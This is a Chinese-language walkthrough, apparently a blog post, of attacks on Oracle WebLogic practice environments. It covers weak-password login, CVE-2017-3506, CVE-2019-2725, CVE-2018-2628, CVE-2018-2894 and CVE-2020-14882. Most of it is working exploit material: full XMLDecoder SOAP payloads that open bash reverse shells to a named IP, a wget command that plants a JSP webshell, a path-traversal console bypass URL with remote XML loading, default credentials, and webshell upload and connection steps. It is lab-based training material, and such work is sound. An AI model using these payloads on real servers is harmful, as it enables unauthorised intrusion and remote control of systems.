常见中间件漏洞攻略-Weblogic篇

一、后台弱口令GetShell

第一步：开启靶场，出现weblogic的报错页面

第二步：使用弱口令登录后台

复制代码

默认账号密码：weblogic/Oracle@123
weblogic常⽤弱⼝令：https://cirt.net/passwords?criteria=weblogic

第三步：上传后门程序

第四步：上传成功，使用哥斯拉进行连接

二、CVE-2017-3506-XMLDecoder反序列化漏洞

第一步：启动靶场

第二步：验证是否存在wls-wsat组件

复制代码

#URL
http://47.103.81.25:7001/wls-wsat/CoordinatorPortType

第三步：在云服务器开启监听

第四步：在当前页面抓包，发送到重放器，构造payload

复制代码

#payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/47.103.81.25/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

第五步：成功反弹shell

三、CVE-2019-2725

第一步：漏洞验证

复制代码

#URL --- 出现以上⻚⾯，则说明存在漏洞
http://47.103.81.25:7001/_async/AsyncResponseService

第二步：在当前页面抓包 ,发送到重放器，构造payload

复制代码

#payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://47.103.81.25/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

第三步：哥斯拉生成.jsp后门程序，上传至云服务器

第四步：尝试访问1.txt，测试

第五步：发送

第六步：访问678.jsp，使用哥斯拉连接

复制代码

#URL
http://47.103.81.25:7001/bea_wls_internal/678.jsp

四、CVE-2018-2628-WebLogic T3协议反序列化命令执行漏洞

第一步：开启靶场

第二步：运行Java反序列化漏洞利用工具V1.7.jar

第三步：输入靶场地址

第四步：命令执行

五、CVE-2018-2894-WebLogic文件任意上传漏洞

第一步：开启靶场

第二步：获取后台密码

复制代码

#命令
docker-compose logs | grep password

#用户名密码
admin:4wexvd4T

第三步：登录管理控制台

复制代码

http://47.103.81.25:7001/console/login/LoginForm.jsp

第四步：设置web服务测试开启

复制代码

域结构 -> base-domain -> ⾼级 -> 启动Web服务测试⻚ -> 翻到最后点击保存

第五步：进入config.do文件进行设置

复制代码

#URL
http://47.103.81.25:7001/ws_utc/config.do

#工作目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

第六步：点击安全 , 添加后门程序

第七步：F12打开查看器，定位找到id，文件名为：id值_文件名称

复制代码

#id值
1742623110100

#文件名
1742623110100_shell.jsp

#后门程序路径
http://47.103.81.25:7001/ws_utc/css/config/keystore/1742623636260_shell.jsp

第八步：尝试访问程序，成功访问到，使用哥斯拉进行连接

六、CVE-2020-14882-WebLogic远程代码执行漏洞

第一步：开启靶场

第二步：访问管理控制台，尝试绕过进入（未授权访问）

复制代码

http://47.103.81.25:7001/

#访问管理控制台
http://47.103.81.25:7001/console/login/LoginForm.jsp

#使⽤以下url绕过登录认证（../）
http://47.103.81.25:7001/console/css/%252e%252e%252fconsole.portal

第三步：远程加载XML文件拿到Shell

复制代码

#1.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/47.103.81.25/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

#访问恶意xml文件
http://47.103.81.25:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://47.103.81.25/1.xml")

第四步：在云服务器开启监听，成功反弹shell

FROM IYU_